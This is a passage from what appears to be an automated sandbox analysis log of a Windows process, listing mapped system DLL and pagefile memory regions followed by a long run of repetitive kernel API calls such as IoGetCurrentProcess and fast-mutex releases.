"\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8927 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8928 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8929 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8930 start_va = 0x610cec0000 end_va = 0x610d0d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000610cec0000" filename = "" Region: id = 8931 start_va = 0x610d0e0000 end_va = 0x610d0e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000610d0e0000" filename = "" Region: id = 8951 start_va = 0x610d0e0000 end_va = 0x610ff75fff entry_point = 0x610d0e0000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 8952 start_va = 0x610ff80000 end_va = 0x610ff82fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000610ff80000" filename = "" Region: id = 8953 start_va = 0x610ff90000 end_va = 0x610ff90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000610ff90000" filename = "" Region: id = 8954 start_va = 0x610ffa0000 end_va = 0x6110399fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000610ffa0000" filename = "" Region: id = 8955 start_va = 0x61103a0000 end_va = 0x61103e3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000061103a0000" filename = "" Region: id = 8956 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 8957 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 8958 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 8959 start_va = 0x61103f0000 end_va = 0x61104f9fff entry_point = 0x0 region_type = private name = "private_0x00000061103f0000" filename = "" Thread: id = 816 os_tid = 0x9a8 [0128.684] EngAllocMem () returned 0xfffff90142521030 [0128.685] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.685] MmMapViewOfSection (in: SectionObject=0xffffc000016ca7a0, Process=0xffffe00000c8f900, BaseAddress=0xfffff90142521358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd00021096ed0, ViewSize=0xfffff90142521370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff90142521358*=0x610cec0000, SectionOffset=0xffffd00021096ed0, ViewSize=0xfffff90142521370) returned 0x0 [0128.685] EngCreateBitmap () returned 0xffffffffa70506d0 [0128.685] EngAssociateSurface () returned 0x1 [0128.685] EngLockSurface () returned 0xfffff9014087f028 [0128.685] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe0000111b790 [0128.685] KeInitializeEvent (in: Event=0xffffe0000111b7a8, Type=0x1, State=0 | out: Event=0xffffe0000111b7a8) [0128.685] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.691] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0128.707] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.708] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.708] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.709] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.714] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.714] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.714] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.714] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.715] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.715] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.715] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.715] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.715] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.715] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.715] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.715] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.715] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.715] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.715] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.715] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.715] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.715] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.715] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.715] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.715] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.715] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.715] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.715] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.715] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.716] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.716] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.716] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.716] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.716] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.716] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.716] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.716] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.716] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.716] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.716] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.716] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.716] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.716] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.716] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.716] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.716] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.716] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.716] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.716] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.716] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.716] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.717] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.717] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.717] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.717] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.717] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.717] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.717] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.717] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.717] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.717] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.717] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.717] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.717] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.717] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.717] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.717] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.718] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.718] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.718] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.718] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.718] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.718] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.718] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.718] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.718] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.718] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.718] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.718] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.719] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.719] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.719] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.719] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.719] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.719] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.719] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.719] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.719] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.719] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.719] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.719] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.719] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.719] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.719] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.719] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.719] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.719] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.720] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.720] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.720] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.720] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.720] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.720] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.720] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.720] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.720] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.720] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.720] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.720] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.720] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.720] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.720] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.720] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.720] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.720] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.721] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.721] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.721] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.721] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.721] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.721] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.721] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.721] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.722] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.722] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.722] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.722] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.722] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.722] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.723] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.723] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.723] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.723] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.723] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.723] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.723] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.723] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.723] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.723] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.723] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.734] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.735] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.735] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.735] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.735] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.735] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.735] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.735] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.735] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.735] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.735] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.735] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.735] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.735] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.735] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.735] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.735] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.736] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.736] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.736] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.736] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.736] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.736] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.736] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.736] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.736] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.736] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.736] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.736] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.736] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.736] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.736] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.736] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.736] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.737] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.737] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.737] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.737] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.737] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.737] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.738] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.738] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.747] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.747] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.747] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.747] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.747] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.747] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.750] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.750] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.750] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.750] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.750] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.750] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.751] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.751] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.751] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.751] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.751] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.751] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.752] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.752] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.752] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.752] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.752] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.752] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.752] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.752] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.752] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.752] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.753] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.753] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.753] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.793] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.794] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.795] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.795] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.795] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.851] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.851] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.851] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.851] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.851] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.851] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.935] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.935] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.935] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.935] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0128.936] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0128.936] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.017] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.017] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.017] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.017] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.018] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.018] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.038] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0129.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.039] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0129.039] 